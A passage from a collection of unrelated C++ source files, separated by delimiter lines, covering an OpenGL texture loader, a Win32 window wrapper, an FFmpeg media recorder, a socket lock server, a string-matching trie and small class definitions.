std::cout << "Stack address is " << &a << std::endl;
std::cout << "Heap address is " << onHeap << std::endl;
string sample = "This, is, a, sample, string";
std::cout << "Reference of sample string " << &sample << std::endl;
std::cout << "sample is on stack" << std::endl;
// copy constructor does a shallow copy
vector<string> output = split(sample, ',');
vector<string> *output2;
std::cout << "Reference outside split for vector " << &output << std::endl;
std::cout << "Reference for values in output " << &output[0] << std::endl;
std::cout << "Reference for output2 " << &output2 << std::endl;
return 0;
}
vector<string> split(const string &input, char delim) {
std::cout << "Reference of input " << &input << std::endl;
vector<string> elem;
elem.push_back("hello");
std::cout << "Reference inside split for vector " << &elem << std::endl;
return elem;
}
|
//
// Texture.h
// OpenGLProjects
//
// Created by Dayuan Chen on 3/2/20.
// Copyright © 2020 N33MO. All rights reserved.
//
#pragma once
#define GLEW_STATIC
#include <GL/glew.h>
#include <vector>
class TextureLoading
{
public:
static GLuint LoadTexture( std::string path )
{
GLuint textureID;
//====================
// Texture
//====================
glGenTextures( 1, &textureID );
glBindTexture( GL_TEXTURE_2D, textureID );
// Set our texture parameters
glTexParameteri( GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT );
glTexParameteri( GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT );
// Set texture filtering
glTexParameteri( GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR );
glTexParameteri( GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR );
// Load, create texture and generate mipmaps
int width, height, nrChannels;
// std::cout << "one proc" << std::endl;
// std::cout << path << std::endl;
unsigned char *image = stbi_load( path.c_str(), &width, &height, &nrChannels, STBI_rgb );
if (!image) {
std::cout<< "no image loaded." << std::endl;
}
// std::cout << "channels: " << nrChannels << " - p: " << path << std::endl;
// if (path == path_cube_n) {
// glTexImage2D( GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, image );
// } else {
// glTexImage2D( GL_TEXTURE_2D, 0, GL_RGB, width, height, 0, GL_RGB, GL_UNSIGNED_BYTE, image );
// std::cout << "loading cube_normal." << std::endl;
// }
glTexImage2D( GL_TEXTURE_2D, 0, GL_RGB, width, height, 0, GL_RGB, GL_UNSIGNED_BYTE, image );
glGenerateMipmap( GL_TEXTURE_2D );
stbi_image_free( image );
glBindTexture( GL_TEXTURE_2D, 0 );
return textureID;
}
};
|
//////////////////////////////////////////////////////////////////////
// BWndBase.h: CBWndBase 类的定义
// 包含常规窗口功能,作为 CBForm、CBControl 类的基类
//
// 支持:
// 需要 BWindows 模块的支持
//////////////////////////////////////////////////////////////////////
#pragma once
#include "BWindows.h"
// 定义常量(这些常量头文件没有)
#define WS_EX_LAYERED 0x80000
#define LWA_COLORKEY 0x1
#define LWA_ALPHA 0x2
class CBWndBase
{
public:
// 构造函数和析构函数
CBWndBase( HWND hWndToManage = NULL, HWND hWndParentForm = NULL );
~CBWndBase();
// 获得和设置窗口的 使能 状态
void EnabledSet(bool enabledValue) const;
bool Enabled() const;
// 获得和设置窗口的 隐藏 状态
void VisibleSet(bool visibleValue) const;
bool Visible() const;
// 返回和设置窗口是否有滚动条
bool HScrollBar();
void HScrollBarSet(bool bValue);
bool VScrollBar();
void VScrollBarSet(bool bValue);
// 返回和设置 控件是否接收按 Tab 键移动焦点
bool TabStop();
void TabStopSet(bool bValue);
// 返回和设置Group属性
// 从第一个 Group=true 的控件开始 至下一个 Group=True 的控
// 件为止,之间的所有控件为一组
bool Group();
void GroupSet(bool bValue);
// ================================================
// 位置、大小
// ================================================
// 获得和改变窗口大小、位置(移动窗口、改变窗口大小)
void Move(int left=0x7FFFFFFF, int top=0x7FFFFFFF,
int width=0x7FFFFFFF, int height=0x7FFFFFFF) const;
int Left() const;
int Top() const;
int Width() const;
int Height() const;
int ClientWidth() const;
int ClientHeight() const;
void LeftSet(int left) const;
void TopSet(int top) const;
void WidthSet(int width) const;
void HeightSet(int height) const;
// ================================================
// 文本
// ================================================
// 设置窗口文本(各种重载版本)
void TextSet(LPCTSTR newText) const;
void TextSet(char valueChar) const;
void TextSet(unsigned short int valueInt) const; // TCHAR
void TextSet(int valueInt) const;
void TextSet(unsigned int valueInt) const;
void TextSet(unsigned long valueInt) const;
void TextSet(float valueSng) const;
void TextSet(double valueDbl) const;
void TextSet(long double valueDbl) const;
// 设置窗口文本(各种重载版本)
void TextAdd(LPCTSTR newText) const;
void TextAdd(char valueChar) const;
void TextAdd(unsigned short int valueInt) const;
void TextAdd(int valueInt) const;
void TextAdd(unsigned int valueInt) const;
void TextAdd(unsigned long valueInt) const;
void TextAdd(float valueSng) const;
void TextAdd(double valueDbl) const;
void TextAdd(long double valueDbl) const;
// 获得窗口文本,返回字符串
TCHAR * Text() const;
// 获得窗口文本转换为的 double 型数
double TextVal() const;
// ================================================
// 字体
// ================================================
// 返回和设置 窗口字体的字体名称字符串
// 字符串缓冲区自动管理
LPTSTR FontName();
void FontNameSet(LPCTSTR szFontName);
// 返回和设置 窗口字体的大小
float FontSize();
void FontSizeSet(float fSize);
// 返回和设置 窗口字体是否加粗
bool FontBold();
void FontBoldSet(bool value);
// 返回和设置 窗口字体是否加下划线
bool FontUnderline();
void FontUnderlineSet(bool value);
// 返回和设置 窗口字体是否倾斜
bool FontItalic();
void FontItalicSet(bool value);
// 返回和设置 窗口字体的旋转角度(单位:1/10 度)
float FontRotateDegree();
void FontRotateDegreeSet(float fDegree);
// 返回和设置 窗口字体的字符集
BYTE FontCharSet();
void FontCharSetSet(BYTE ucValue);
// 返回目前窗口所使用的字体对象的句柄,0 表示正在使用默认字体
HFONT hFont();
// ================================================
// 边框
// ================================================
// 返回和设置窗口是否有边框
bool Border();
void BorderSet(bool bValue);
// 返回和设置 是否是对话框类型的边框
// Creates a window that has a border of a style typically used
// with dialog boxes. A window with this style cannot have a
// title bar.
bool BorderFrameDlg();
void BorderFrameDlgSet(bool bValue);
// 返回和设置 边框可以被拖动以改变窗口大小
// Creates a window that has a sizing border.
// Same as the WS_SIZEBOX style.
bool BorderFrameThick();
void BorderFrameThickSet(bool bValue);
// 返回和设置 是否为有凸起感的边框
// Specifies that a window has a border with a raised edge.
bool BorderRaised();
void BorderRaisedSet(bool bValue);
// 返回和设置 是否为有凹陷感的边框
// Specifies that a window has a 3D look
// — that is, a border with a sunken edge.
bool BorderSunken();
void BorderSunkenSet(bool bValue);
// 返回和设置 是否为静态边框
// Creates a window with a three-dimensional border style
// intended to be used for items that do not accept user input.
bool BorderStatic();
void BorderStaticSet(bool bValue);
// 返回和设置窗口是否有标题栏
bool BorderTitleBar();
void BorderTitleBarSet(bool bValue);
// 返回和设置 是否为浮动工具窗口样式(窄标题栏)
// Creates a tool window, which is a window intended to be
// used as a floating toolbar. A tool window has a title bar
// that is shorter than a normal title bar, and the window
// title is drawn using a smaller font. A tool window does not
// appear in the task bar or in the window that appears when
// the user presses ALT+TAB.
bool BorderToolWindow();
void BorderToolWindowSet(bool bValue);
// ================================================
// 高级
// ================================================
// 返回和设置控件是否透明
bool Transparent();
void TransparentSet(bool bTransparent);
// 返回和设置 窗体半透明度:0-255,0为完全透明,255为不透明;
// 设置为负数取消此效果
// 窗口未被设置此样式返回-1,系统不支持返回 -2
// win2000以上可设置;winXP以上可返回
int Opacity();
void OpacitySet(int iOpacity);
// 返回和设置 窗体“挖空”的颜色:设置为 -1 取消此效果
// 返回-1表无此效果
// win2000以上可设置;winXP以上可返回
COLORREF TransparencyKey();
void TransparencyKeySet(COLORREF iTransColor);
// 获得窗口的类名(不能通过指针改变类名字符串的内容)
const TCHAR * ClassName() const;
// 判断窗口的类是否是一种类名
bool IsClassName(LPCTSTR lpTestClassName) const;
// 返回或设置窗口风格;
// 设置时:若 bOr > 0, 则在现有风格上增加
// 若 bOr < 0,则在现有风格上取消 newStyle
// 若 bOr == 0,则将现有风格改为 newStyle
unsigned long Style();
void StyleSet(unsigned long newStyle, int bOr=1);
// 返回或设置窗口的扩展风格;
// 设置时:若 bOr > 0, 则在现有扩展风格上增加
// 若 bOr < 0,则在现有扩展风格上取消 newStyleEx
// 若 bOr == 0,则将现有扩展风格改为 newStyleEx
unsigned long StyleEx();
void StyleExSet(unsigned long newStyleEx, int bOr=1);
// ================================================
// 方法
// ================================================
// 刷新窗口显示
void Refresh();
// 设置焦点到本窗口
void SetFocus();
// 设置窗口或控件的 Z-顺序,即是覆盖其他窗口控件,还是被其他窗口控件所覆盖
// position=0,则位于其他窗口控件的最前面;否则 位于最后面
void ZOrder(int position=0);
// 剪切复制粘贴
void Cut();
void Copy();
void Paste();
protected: // 将变为继承类的保护成员
HWND m_hWnd; // 窗口句柄
HWND m_hWndDlg; // 如果本类的继承类的对象是控件,此表示控件所在窗体的 hwnd
// 如果本类的继承类的对象是窗体,不用此值(保持为0)
TCHAR m_ClassName[128]; // 窗口控件的类名
long m_atom; // 窗口控件类的 atom 号,唯一标识一种类,使用基类 BWndBase 的成员
// CBControl 类继承时,在 SetResID 后即自动用 GetClassName 设置
// CBForm 类继承时,在 CBForm_DlgProc 的 WM_INITDIALOG 中设置
HFONT GetFontMLF(LOGFONT * lpLf=NULL); // 将窗口当前所用字体信息获取到 lpLf 所指向的结构,
// 并返回目前所用字体对象句柄
// 若 lpLf 为空指针,直接返回字体句柄,不获取字体信息
virtual HFONT SetFontMLF(LOGFONT * lpLf); // 根据 lpLf 所指向的结构创建一种字体,并设置窗口使用该种字体;
// 函数返回新字体对象的句柄
// 虚函数,继承类必须重载该函数
// CBControl 类重载后,应在重载函数中将新字体对象地址存入 STRControlProp.hFont
// CBForm 类重载后,应在重载函数中将新字体对象地址存入 m_hFont 私有成员
};
|
#include "player/Player.h"
#include "MediaRecorder.h"
#include "com_bql_MSG_Native.h"
#include "JNI_load.h"
extern JNIMediaRecorder g_jBQLMediaRecorder;
CLASS_LOG_IMPLEMENT(CMediaRecorder, "CMediaRecorder");
////////////////////////////////////////////////////////////////////////////////
int CMediaRecorder::SetVideoStream(int fps, int videow, int videoh, int qval, int bitrate)
{
AVCodecContext *pCodecs = m_pCodecs[2];
if( pCodecs == 0 ) return 1;
if( pCodecs->codec_id == AV_CODEC_ID_H264 )
{//for264
av_opt_set(pCodecs->priv_data, "preset" , "ultrafast" , 0);
av_opt_set(pCodecs->priv_data, "tune" , "zerolatency", 0);
// av_opt_set(pCodecs->priv_data, "x265-params", "qp=20" , 0);
av_opt_set(pCodecs->priv_data, "crf" , "18" , 0);
pCodecs->gop_size = 20;
pCodecs->max_b_frames = 0; // no use b frame.
pCodecs->qmin = 1;
pCodecs->qmax = qval; //25
}
if( m_pPlayer &&
m_pPlayer->m_videoctx )
{
if( bitrate== 0 || bitrate > m_pPlayer->m_videoctx->bit_rate ) bitrate = m_pPlayer->m_videoctx->bit_rate/1000*1000;
if( videow == 0 ) videow = m_pPlayer->m_videoctx->width;
if( videoh == 0 ) videoh = m_pPlayer->m_videoctx->height;
}
{//common
THIS_LOGI_print("video(%dX%d): fps=%d, qval=%d, bitrate=%d", videow, videoh, fps, qval, bitrate);
pCodecs->time_base = (AVRational){1, fps};
pCodecs->bit_rate = bitrate;
pCodecs->height = videoh;
pCodecs->width = videow;
pCodecs->pix_fmt = pCodecs->codec_id==AV_CODEC_ID_MJPEG? AV_PIX_FMT_YUVJ420P:AV_PIX_FMT_YUV420P;
pCodecs->ticks_per_frame= 2;
}
return 0;
}
int CMediaRecorder::SetAudioStream(int channel, int depth, int samplerate, int bitrate)
{
AVCodecContext *pCodecs = m_pCodecs[3];
if( pCodecs == 0 ) return 1;
if( m_pPlayer &&
m_pPlayer->m_audioctx )
{
if( bitrate == 0 || bitrate > m_pPlayer->m_audioctx->bit_rate ) bitrate = m_pPlayer->m_audioctx->bit_rate/1000*1000;
if( channel == 0 ) channel = m_pPlayer->m_audioctx->channels;
if( samplerate == 0 ) samplerate = m_pPlayer->m_audioctx->sample_rate;
}
{//common
THIS_LOGI_print("audio: channels=%d, depth=%d, samplerate=%d, bitrate=%d", channel, depth, samplerate, bitrate);
pCodecs->time_base = (AVRational){1, samplerate};
pCodecs->bit_rate = bitrate;
pCodecs->sample_rate = samplerate;
pCodecs->sample_fmt = depth==8? AV_SAMPLE_FMT_U8:AV_SAMPLE_FMT_S16;
pCodecs->channels = channel;
pCodecs->channel_layout = av_get_default_channel_layout(pCodecs->channels);
}
return 0;
}
int CMediaRecorder::PrepareWrite()
{
if( m_pPlayer != 0 ) {
memset(m_pPlayer->m_medias + 1 * MAX_MEDIA_FMT, 0, MAX_MEDIA_FMT * sizeof(m_pPlayer->m_medias[0])); //zero rec subcribe
const AVCodecContext *videoctx = m_pCodecs[2];
if( videoctx != NULL ) {
if( videoctx->width != m_pPlayer->m_videoctx->width || videoctx->height != m_pPlayer->m_videoctx->height ||
videoctx->bit_rate/1000 < m_pPlayer->m_videoctx->bit_rate/1000 )
{
if( videoctx->width != m_pPlayer->m_videoctx->width || videoctx->height != m_pPlayer->m_videoctx->height ) m_pScales = new CSwsScale(m_pPlayer->m_videoctx->width, m_pPlayer->m_videoctx->height, m_pPlayer->m_videoctx->pix_fmt, videoctx->width, videoctx->height, m_pPlayer->m_videoctx->pix_fmt);
m_pPlayer->SetCodecidEnabled(1, MEDIA_DATA_TYPE_YUV, true);
THIS_LOGI_print("subscribe video: YUV");
}
else
{
m_pPlayer->SetCodecidEnabled(1, videoctx->codec_id==AV_CODEC_ID_MJPEG? MEDIA_DATA_TYPE_JPG:MEDIA_DATA_TYPE_264, true);
THIS_LOGI_print("subscribe video: %s", videoctx->codec_id==AV_CODEC_ID_MJPEG? "JPG":"264");
}
}
// if( videoctx != NULL ) m_pPlayer->SetCodecidEnabled(1, MEDIA_DATA_TYPE_YUV, true);
const AVCodecContext *audioctx = m_pCodecs[3];
if( audioctx != NULL ) {
m_pPlayer->SetCodecidEnabled(1, audioctx->codec_id!=m_pPlayer->m_audioctx->codec_id? MEDIA_DATA_TYPE_PCM:MEDIA_DATA_TYPE_AAC, true);
THIS_LOGI_print("subscribe audio: %s", audioctx->codec_id!=m_pPlayer->m_audioctx->codec_id? "PCM":"AAC");
}
// if( audioctx != NULL ) m_pPlayer->SetCodecidEnabled(1, MEDIA_DATA_TYPE_PCM, true);
m_pPlayer->m_pHook[0] = this;
}
assert(m_pThread == 0);
THIS_LOGI_print("do start to record thread");
int succ = ::pthread_create(&m_pThread, NULL, CMediaRecorder::ThreadProc, this );
return 0;
}
int CMediaRecorder::Write(JNIEnv *env, void *buffer)
{
std::list<CBuffer*> lstWaitEncodeFrames;
CScopeBuffer pBuffer((CBuffer *)buffer);
int ret = 0;
m_mtxWaitEncodeFrames.Enter();
if( buffer == 0 ) lstWaitEncodeFrames.swap(m_lstWaitEncodeFrames);
if( m_lstWaitEncodeFrames.empty() != 0 ||
m_lstWaitEncodeFrames.front() != 0) //check it is mark exit
{
if( pBuffer.p != 0 ) ret = 1;
m_lstWaitEncodeFrames.push_back(pBuffer.Detach());
}
m_mtxWaitEncodeFrames.Leave();
ReleaseBuffers(lstWaitEncodeFrames);
Post();
return ret;
}
int CMediaRecorder::Stop()
{
if( m_pThread == 0 ) return 0;
THIS_LOGI_print("do stop");
if( m_pPlayer != 0 ) m_pPlayer->m_pHook[0] = NULL;
Write(0);
::pthread_join(m_pThread, 0);
m_pThread = 0; //必须复位
return 0;
}
void CMediaRecorder::Doinit(JNIEnv *env, jobject weak)
{
m_owner = env->NewGlobalRef(weak);
}
void CMediaRecorder::Uninit(JNIEnv *env)
{
env->DeleteGlobalRef(m_owner);
}
void *CMediaRecorder::ThreadProc(void *pParam)
{
CMediaRecorder *pThread = (CMediaRecorder *)pParam;
pThread->Loop();
return 0;
}
void CMediaRecorder::Loop()
{
JNIEnv *env = NULL;
int idr = 1; //h264
do{
if( m_lstWaitEncodeFrames.empty() != false )
{
this->Wait( 1000/* 1.0sec */);
}
if( m_lstWaitEncodeFrames.empty() == false )
{
m_mtxWaitEncodeFrames.Enter();
CScopeBuffer pSrcdata(m_lstWaitEncodeFrames.front());
m_lstWaitEncodeFrames.pop_front();
m_mtxWaitEncodeFrames.Leave();
CScopeBuffer pDstdata;
int idx = -1;
int fmt = -1;
if( pSrcdata.p == 0 )
{
if( m_nframes[0] + m_nframes[1] != 0 ) {//check delay frames
THIS_LOGI_print("start to check delay frames...");
for(int i = 0; i < 2; i ++)
{
pDstdata.Attach( m_pEncode[i]==0? 0:m_pEncode[i]->GetDelayedFrame());
if( pDstdata.p ) Write(i, pDstdata->GetPacket());
}
}
THIS_LOGI_print("thread is exit, frames: %lld/%lld", m_nframes[0], m_nframes[1]);
break;
}
switch(pSrcdata->m_codecid&0xffff)
{
case MEDIA_DATA_TYPE_JPG:
{
AVCodecContext *pCodecs = m_pCodecs[2];
if( pCodecs->codec_id == AV_CODEC_ID_MJPEG )
{//jpg
pDstdata.Attach(pSrcdata.Detach());
}
else
{//jpg->yuv, outside
if( m_pDecode[0] == 0 ) {//decode jpg to yuv
const AVCodec *vcodec = avcodec_find_decoder(AV_CODEC_ID_MJPEG);
m_pCodecs[0] = avcodec_alloc_context3(vcodec);
m_pCodecs[0]->width = pCodecs->width;
m_pCodecs[0]->height = pCodecs->height;
m_pCodecs[0]->pix_fmt = AV_PIX_FMT_YUVJ420P;
#ifdef _FFMPEG_THREAD
m_pCodecs[0]->thread_count = 4;
m_pCodecs[0]->thread_type =FF_THREAD_SLICE;
#endif
int iret = avcodec_open2(m_pCodecs[0], vcodec, NULL);
m_pDecode[0] = CMediaDecoder::Create(m_pCodecs[0]);
}
pSrcdata.Attach(m_pDecode[0]->Decode(pSrcdata.p));
fmt = m_pCodecs[0]->pix_fmt;
}
assert(m_pScales == 0);
idx = 0;
break;
}
case MEDIA_DATA_TYPE_264:
{
uint8_t ctype = pSrcdata->GetPacket()->data[4] & 0x1f;
if( idr ) {//wait for idr/sps+pps frame
if( ctype != 5 &&
ctype != 7 )
{
THIS_LOGT_print("drop video[%p]: pts=%lld, data=%p, size=%d, nalu.type=%d", pSrcdata.p, pSrcdata->GetPacket()->pts, pSrcdata->GetPacket()->data, pSrcdata->GetPacket()->size, ctype);
break;
}
idr = 0;
}
AVCodecContext *pCodecs = m_pCodecs[2];
if( pCodecs->codec_id == AV_CODEC_ID_H264 )
{//264
if( m_nframes[0] + m_nframes[1] == 0 &&
ctype != 7 )
{
assert(m_pPlayer != 0);
CScopeBuffer pBuffer(m_pPlayer->m_pBufferManager->Pop(pSrcdata->GetPacket()->pts));
m_pPlayer->GetVideoSpspps(2, pBuffer.p);
AVPacket *pPacket = pBuffer->GetPacket();
pPacket->pos =-1;
int iret = Write(0, pPacket);
if( iret )
{
Write(0); //设置失败
JNI_ATTACH_JVM(env);
env->CallStaticVoidMethod(g_jBQLMediaRecorder.thizClass, g_jBQLMediaRecorder.post, m_owner, 0, iret);
JNI_DETACH_JVM(env);
return;
}
}
pDstdata.Attach(pSrcdata.Detach());
}
else
{//264->yuv, outside
if( m_pDecode[0] == 0 ) {
const AVCodec *vcodec = avcodec_find_decoder(AV_CODEC_ID_H264);
m_pCodecs[0] = avcodec_alloc_context3(vcodec);
m_pCodecs[0]->width = pCodecs->width;
m_pCodecs[0]->height = pCodecs->height;
m_pCodecs[0]->pix_fmt = AV_PIX_FMT_YUV420P;
#ifdef _FFMPEG_THREAD
m_pCodecs[0]->thread_count = 4;
m_pCodecs[0]->thread_type =FF_THREAD_SLICE;
#endif
int iret = avcodec_open2(m_pCodecs[0], vcodec, NULL);
m_pDecode[0] = CMediaDecoder::Create(m_pCodecs[0]);
}
pSrcdata.Attach(m_pDecode[0]->Decode(pSrcdata.p));
fmt = m_pCodecs[0]->pix_fmt;
}
assert(m_pScales == 0);
idx = 0;
break;
}
case MEDIA_DATA_TYPE_YUV:
{
AVCodecContext *pCodecs = m_pCodecs[2];
if( m_pScales != 0 ) pSrcdata.Attach(m_pScales->Scale(pSrcdata->GetPacket()->pts, pSrcdata->GetPacket()->data));
fmt = m_pScales? (m_pScales->m_dstFormat):(pSrcdata->m_codecid >> 16);
idx = 0;
break;
}
case MEDIA_DATA_TYPE_RGB:
{//outside
AVCodecContext *pCodecs = m_pCodecs[2];
if( m_pScales == 0 ) m_pScales = new CSwsScale(pCodecs->width, pCodecs->height, AV_PIX_FMT_RGBA, pCodecs->width, pCodecs->height, pCodecs->pix_fmt);
if( m_pScales != 0 ) pSrcdata.Attach(m_pScales->Scale(pSrcdata->GetPacket()->pts, pSrcdata->GetPacket()->data));
idx = 0;
break;
}
case MEDIA_DATA_TYPE_AAC:
{
if( m_pCodecs[2] &&
m_nframes[0] == 0 )
{//skip audio until get video
THIS_LOGT_print("drop audio[%p]: pts=%lld, data=%p, size=%d", pSrcdata.p, pSrcdata->GetPacket()->pts, pSrcdata->GetPacket()->data, pSrcdata->GetPacket()->size);
break;
}
AVCodecContext *pCodecs = m_pCodecs[3];
pDstdata.Attach(pSrcdata.Detach());
idx = 1;
break;
}
case MEDIA_DATA_TYPE_PCM:
{
if( m_pCodecs[2] &&
m_nframes[0] == 0 )
{//skip audio until get video
THIS_LOGT_print("drop audio[%p]: pts=%lld, data=%p, size=%d", pSrcdata.p, pSrcdata->GetPacket()->pts, pSrcdata->GetPacket()->data, pSrcdata->GetPacket()->size);
break;
}
idx = 1;
break;
}
default:
{
assert(false);
break;
}
}
if( idx !=-1 &&
pDstdata.p == 0 &&
pSrcdata.p != 0 )
{
if( m_pEncode[idx] == 0 ) m_pEncode[idx] = CMediaEncoder::Create(m_pCodecs[2 + idx], fmt);
pDstdata.Attach(m_pEncode[idx]->Encode(pSrcdata.p));
}
if( pDstdata.p != 0 )
{
AVPacket *pPacket = pDstdata->GetPacket();
THIS_LOGT_print("send %s[%p]: pts=%lld, data=%p, size=%d", idx==0? "video":"audio", pDstdata.p, pPacket->pts, pPacket->data, pPacket->size);
int iret = Write(idx, pPacket);
if( iret )
{
Write(0); //设置失败
JNI_ATTACH_JVM(env);
env->CallStaticVoidMethod(g_jBQLMediaRecorder.thizClass, g_jBQLMediaRecorder.post, m_owner, 0, iret);
JNI_DETACH_JVM(env);
return;
}
}
}
}while(1);
}
|
/*
Author: Jonatious Joseph Jawahar
PSID: 1416103
Method: Priority given to write locks before read locks
*/
#include <cstdlib>
#include <errno.h>
#include <iostream>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <string>
//global constants
#define MAXHOSTNAME 255
#define SUCCESS "Y"
#define FAILURE "N"
#define WAIT "W"
//global variables
int portNum;
int bufsize = 1024;
char msg[1024];
int resource;
int locks[32];
int lock_count;
int read_locks[32];
int read_locks_count[32];
int write_locks[32];
int read_lock_queue[32][50];
int read_queue_len[32];
int write_lock_queue[32][50];
int write_queue_len[32];
using namespace std;
void parse_msg(char message[])
{
memset(msg, 0, bufsize);
int i;
for (i=0; i< strlen(message); i++)
{
if(message[i] != '$')
msg[i] = message[i];
else
break;
}
if(strlen(message) == i+2)
resource = message[i+1] - '0';
else
resource = (message[i+1] - '0')*10 + (message[i+2] - '0');
}
int find_lock(int resource)
{
for(int i=0; i< lock_count; i++)
if(locks[i] == resource)
return i;
return -1;
}
void handle_operation(int id)
{
int loc = find_lock(resource);
if(strcmp(msg, "CREATE_LOCK") != 0 && loc == -1)
{
send(id, FAILURE, 1, 0);
cout << "Lock doesn't exist." << endl;
return;
}
if(strcmp(msg, "CREATE_LOCK") == 0)
{
if(loc > -1)
{
send(id, FAILURE, 1, 0);
cout << "Lock already exists." << endl;
return;
}
locks[lock_count] = resource;
lock_count++;
send(id, SUCCESS, 1, 0);
cout << "Lock created." << endl;
return;
}
if(strcmp(msg, "DELETE_LOCK") == 0)
{
locks[loc] = 0;
for(int i=loc; i< lock_count - 1; i++)
{
locks[i] = locks[i+1];
}
locks[lock_count-1] = 0;
lock_count--;
send(id, SUCCESS, 1, 0);
cout << "Lock deleted." << endl;
return;
}
if(strcmp(msg, "READ_LOCK") == 0)
{
if(write_locks[loc] == 0)
{
send(id, SUCCESS, 1, 0);
read_locks[loc] = 1;
read_locks_count[loc]++;
cout << "Read lock granted." << endl;
}
else
{
send(id, WAIT, 1, 0);
read_lock_queue[loc][read_queue_len[loc]] = id;
read_queue_len[loc]++;
cout << "Resource is busy. Added to read queue." << endl;
}
return;
}
if(strcmp(msg, "WRITE_LOCK") == 0)
{
if(write_locks[loc] == 1 || read_locks[loc] == 1)
{
send(id, WAIT, 1, 0);
write_lock_queue[loc][write_queue_len[loc]] = id;
write_queue_len[loc]++;
cout << "Resource is busy. Added to write queue." << endl;
}
else
{
send(id, SUCCESS, 1, 0);
write_locks[loc] = 1;
cout << "Write lock granted." << endl;
}
return;
}
if(strcmp(msg, "READ_UNLOCK") == 0)
{
if(read_locks[loc] == 0)
{
send(id, FAILURE, 1, 0);
cout << "Read lock not locked" << endl;
return;
}
if(write_locks[loc] == 1)
{
send(id, FAILURE, 1, 0);
cout << "Write lock is locked" << endl;
return;
}
send(id, SUCCESS, 1, 0);
read_locks_count[loc]--;
if(read_locks_count[loc] == 0)
read_locks[loc] = 0;
cout << "Read Unlock Successful." << endl;
if(write_queue_len[loc] > 0 && read_locks_count[loc] == 0)
{
send(write_lock_queue[loc][0], SUCCESS, 1, 0);
for(int i = 0; i < write_queue_len[loc] - 1; i++)
write_lock_queue[loc][i] = write_lock_queue[loc][i+1];
write_queue_len[loc]--;
write_locks[loc] = 1;
cout << "Write locks granted to next process in write queue" << endl;
}
return;
}
if(strcmp(msg, "WRITE_UNLOCK") == 0)
{
if(write_locks[loc] == 0)
{
send(id, FAILURE, 1, 0);
cout << "Write lock not locked" << endl;
return;
}
if(read_locks[loc] == 1)
{
send(id, FAILURE, 1, 0);
cout << "Read lock is locked" << endl;
return;
}
send(id, SUCCESS, 1, 0);
write_locks[loc] = 0;
cout << "Write Unlock Successful." << endl;
if(write_queue_len[loc] > 0)
{
send(write_lock_queue[loc][0], SUCCESS, 1, 0);
for(int i = 0; i < write_queue_len[loc] - 1; i++)
write_lock_queue[loc][i] = write_lock_queue[loc][i+1];
write_queue_len[loc]--;
write_locks[loc] = 1;
cout << "Write locks granted to next process in write queue" << endl;
}
else if(read_queue_len[loc] > 0)
{
for(int i = 0; i < read_queue_len[loc]; i++)
{
read_locks_count[loc]++;
send(read_lock_queue[loc][i], SUCCESS, 1, 0);
read_lock_queue[loc][i] = 0;
}
read_queue_len[loc] = 0;
read_locks[loc] = 1;
cout << "Read locks granted to all processes in read queue" << endl;
}
return;
}
}
int string_to_int(char str[])
{
int val = 0;
for(int i = 0; i< strlen(str); i++)
val = val*10 + (str[i] - '0');
return val;
}
int main(int argc, char* argv[])
{
lock_count = 0;
int client, server;
char buffer[bufsize];
struct sockaddr_in server_addr;
char myname[MAXHOSTNAME+1];
struct hostent *hp;
memset(&server_addr, 0, sizeof(struct sockaddr_in));
gethostname(myname, MAXHOSTNAME);
hp = gethostbyname(myname);
if (hp == NULL)
return(-1);
if(argc == 1)
{
cout << "Please enter port number as command line argument (Ex: ./server 1234). Exiting..." << endl;
return 0;
}
portNum = string_to_int(argv[1]);
server_addr.sin_family= hp->h_addrtype;
server_addr.sin_port= htons(portNum);
socklen_t size;
client = socket(AF_INET, SOCK_STREAM, 0);
if (client < 0)
{
cout << "\nError establishing socket..." << endl;
exit(1);
}
cout << "\n=> Socket server has been created on port = " << portNum << endl;
if ((bind(client, (struct sockaddr*)&server_addr,sizeof(server_addr))) < 0)
{
cout << "=> Error binding connection, the socket has already been established..." << endl;
return -1;
}
size = sizeof server_addr;
listen(client, 100);
while(true)
{
cout << "Waiting for Connection..." << endl;
server = accept(client,(struct sockaddr *)&server_addr,&size);
cout << "connection Accepted" << endl;
if (server < 0)
{
cout << "=> Error on accepting..." << endl;
continue;
}
recv(server, buffer, bufsize, 0);
if(strcmp(buffer, "KILL_SERVER") == 0)
{
cout << "Kill server message received" << endl;
break;
}
parse_msg(buffer);
cout << "Operation = " << msg << ", Resource = " << resource << endl;
handle_operation(server);
cout << endl;
}
cout << "Terminating server..." << endl;
close(client);
return 0;
}
|
#pragma once
#include <iostream>
#include <string>
#include <vector>
#include <map>
using namespace std;
class TNode {
public:
TNode();
TNode(const TNode& other) {
suffLink = other.suffLink;
exitLink = other.exitLink;
}
map<uint32_t, TNode*> child;
TNode* suffLink;
TNode* exitLink;
bool leaf;
vector<size_t> patSize;
};
void CreateLinks(TNode* root, TNode* parent, TNode* node, uint32_t symToNode);
void addPattern(TNode* root, vector<uint32_t>& pat, size_t patSize);
void processTrie(TNode* root, size_t maxLen);
void Search(TNode* root, vector< pair<int32_t, pair<size_t, size_t> > >& text, size_t patLen, size_t patCount);
void DeleteTrie(TNode* node);
|
#include "Dna.h"
size_t Dna::m_id = 0;
Dna::Dna(const std::string& name, const std::string& status, const Dnasequence& dnasequence):m_Dna(new Dnasequence(dnasequence)),m_name(name),m_status(status),m_countName(1)
{
++m_id;
}
Dna::~Dna()
{
delete m_Dna;
}
size_t Dna::setCountName()
{
return m_countName++;
}
StatusDna Dna::getStatus()
{
return m_status;
}
void Dna::setDnaSequence(const Dnasequence& dnasequence)
{
*m_Dna = dnasequence;
}
void Dna::setName(const std::string& name)
{
m_name = name;
}
|
#ifndef __PRACTICALSOCKET_INCLUDED__
#define __PRACTICALSOCKET_INCLUDED__
#include <string> // For string
#include <exception> // For exception class
using namespace std;
/**
* Base class representing basic communication endpoint
*/
class Socket {
public:
~Socket();
string getLocalAddress() throw(SocketException);
unsigned short getLocalPort() throw(SocketException);
void setLocalPort(unsigned short localPort) throw(SocketException);
